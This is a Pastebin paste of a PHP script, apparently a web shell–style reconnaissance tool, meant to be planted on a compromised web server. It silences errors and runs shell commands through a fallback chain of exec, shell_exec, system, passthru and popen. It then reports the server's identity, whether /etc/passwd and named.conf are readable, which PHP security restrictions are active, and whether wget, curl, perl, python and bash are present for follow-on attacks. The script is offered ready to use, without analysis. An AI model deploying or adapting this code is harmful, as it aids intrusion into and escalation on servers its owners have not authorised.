3x5w4rup

Server Information

Jun 25th, 2014
514
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.12 KB | None | 0 0
  1. <?
  2.  
  3. @error_reporting(0);
  4.  
  5. function excute($cfe) {
  6.   $res = '';
  7.   if (!empty($cfe)) {
  8.     if(@function_exists('exec')) {
  9.       @exec($cfe,$res);
  10.       $res = join("\n",$res);
  11.     } elseif(@function_exists('shell_exec')) {
  12.       $res = @shell_exec($cfe);
  13.     } elseif(@function_exists('system')) {
  14.       @ob_start();
  15.       @system($cfe);
  16.       $res = @ob_get_contents();
  17.       @ob_end_clean();
  18.     } elseif(@function_exists('passthru')) {
  19.       @ob_start();
  20.       @passthru($cfe);
  21.       $res = @ob_get_contents();
  22.       @ob_end_clean();
  23.     } elseif(@is_resource($f = @popen($cfe,"r"))) {
  24.       $res = "";
  25.       while(!@feof($f)) { $res .= @fread($f,1024); }
  26.       @pclose($f);
  27.     } else { $res = "Ex() Disabled!"; }
  28.   }
  29.   return $res;
  30. }
  31.  
  32.     // Show Stat
  33.   function showstat($stat) {
  34.     if ($stat=="on") { return "<font color=green><b>ON</b></font>"; }
  35.     else { return "<font color=red><b>OFF</b></font>"; }
  36.   }
  37.   function named_conf(){
  38.   if(@is_readable('/etc/named.conf')){ return "<font color=green><b>Readable</b></font>";
  39.   }else { return "<font color=red><b>Not Readable</b></font>"; }
  40.   }
  41.   function passwd(){
  42.   if(@is_readable('/etc/passwd')){ return "<font color=green><b>Readable</b></font>";
  43.   }else { return "<font color=red><b>Not Readable</b></font>"; }
  44.   }
  45.   function testoracle() {
  46.   if (@function_exists('ocilogon')) { return showstat("on"); }
  47.   else { return showstat("off"); }
  48.   }
  49.   function testpostgresql() {
  50.     if (@function_exists('pg_connect')) { return showstat("on"); }
  51.     else { return showstat("off"); }
  52.   }
  53.   function testmssql() {
  54.     if (@function_exists('mssql_connect')) { return showstat("on"); }
  55.     else { return showstat("off"); }
  56.   }
  57.   function testmysql() {
  58.     if (@function_exists('mysql_connect')) { return showstat("on"); }
  59.     else { return showstat("off"); }
  60.   }
  61.  
  62.   function showdisablefunctions() {
  63.     if ($disablefunc=@ini_get("disable_functions")){ return "<font color=red><b>".$disablefunc."</b></font>"; }
  64.     else { return "<font color=green><b>NONE</b></b></font>"; }
  65.   }
  66.     function openbase_dir() {
  67.     if ($openbase_dir=@ini_get('open_basedir')){ return "<font color=red><b>".$openbase_dir."</b></font>"; }
  68.     else { return "<font color=green><b>NONE</b></b></font>"; }
  69.   }
  70.     function testfetch() {
  71.     if(excute('fetch --help')) { return showstat("on"); }
  72.     else { return showstat("off"); }
  73.   }
  74.     function testwget() {
  75.     if (excute('wget --help')) { return showstat("on"); }
  76.     else { return showstat("off"); }
  77.   }
  78.     function testperl() {
  79.     if (excute('perl --help')) { return showstat("on"); }
  80.     else { return showstat("off"); }
  81.   }
  82.     function testpy() {
  83.     if (excute('python --help')) { return showstat("on"); }
  84.     else { return showstat("off"); }
  85.   }
  86.       function testsh() {
  87.     if (excute('bash --help')) { return showstat("on"); }
  88.     else { return showstat("off"); }
  89.   }
  90.     function testcurl() {
  91.     if (@function_exists('curl_version')) { return showstat("on"); }
  92.     else { return showstat("off"); }
  93.   }
  94.   if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  95.     $safemode = TRUE;
  96.     $hsafemode = "<font color=red><b>ON (Secure)</b></font>";
  97.   }else{
  98.     $safemode = FALSE;
  99.     $hsafemode = "<font color=green><b>OFF (Not Secure)</b></font>";
  100.   }
  101.  
  102.   $pwd=str_replace('\\', '/', dirname(__FILE__)).'/';
  103.  
  104. echo "
  105. <html><head><title>x00x Server Information ".$_SERVER['HTTP_HOST']."</title></head><body>
  106. <style type=text/css>
  107. body{background-color:#111;font-family:verdana;}
  108. .info{background-color:#fff; width=100%;}
  109. input,textarea{border:1px solid #000;}
  110. </style>
  111. <div class=info>
  112. <table bgcolor=#ff0000 width=100%px height=20px><tr>
  113. <td><font color=#fff size=1px><center>Server Information</center></font></td>
  114. </tr></table>
  115. <font color=#000 size=2px>
  116. <center><span><font color='#111'>
  117. <br> UName -a: <font color=blue>".@php_uname()." </font>|</br>
  118. <br> Hostname: <font color=blue>".$_SERVER['HTTP_HOST']."</font>|</br>
  119. <br> Software : <font color=blue>".@getenv("SERVER_SOFTWARE")." </font>| </br>
  120. <br> PHP Version: <font color=blue>".@phpversion()." </font>|</br>
  121. <br> Current Dir: <font color=blue>{$pwd} |</font></br>
  122. <br> ID:<font color=blue>" .@getmyuid()."(".@get_current_user().") </font>- UID:<font color=blue>".@getmyuid()."(".@get_current_user().") </font>- GID:<font color=blue>".@getmygid()."(".@get_current_user().") </font>|</br>
  123. <br> Your IP:<font color=blue>".$_SERVER["REMOTE_ADDR"]." </font>| The Server IP:<font color=blue>".@gethostbyname($_SERVER["HTTP_HOST"])." </font>|</br>
  124. <br> Safe Mode: $hsafemode | Open_BaseDir: ".openbase_dir()."|</br>
  125. <br> Disabled Functions: ".@showdisablefunctions()."|</br>
  126. <br> named.conf File is: ".named_conf()." | passwd File is: ".passwd()."</br>
  127. <br>
  128. MySQL: ".@testmysql()."|
  129. MSSQL: ".@testmssql()."|
  130. Oracle: ".@testoracle()."|
  131. PostgreSQL: ".@testpostgresql()."|
  132. cURL: ".@testcurl()."|
  133. Fetch: ".@testfetch()."|
  134. WGet: ".@testwget()."|
  135. Perl: ".@testperl()."|
  136. Python: ".@testpy()."|
  137. Bash: ".@testsh()."|
  138. </center>
  139. </font>
  140. <br/>
  141. </div>
  142. <p align='center'><font color='#ffffff'>Coded By L0c@l r00t<br/></font></p>
  143. <br/>
  144. ";
  145. ?>
Advertisement
Add Comment
Please, Sign In to add comment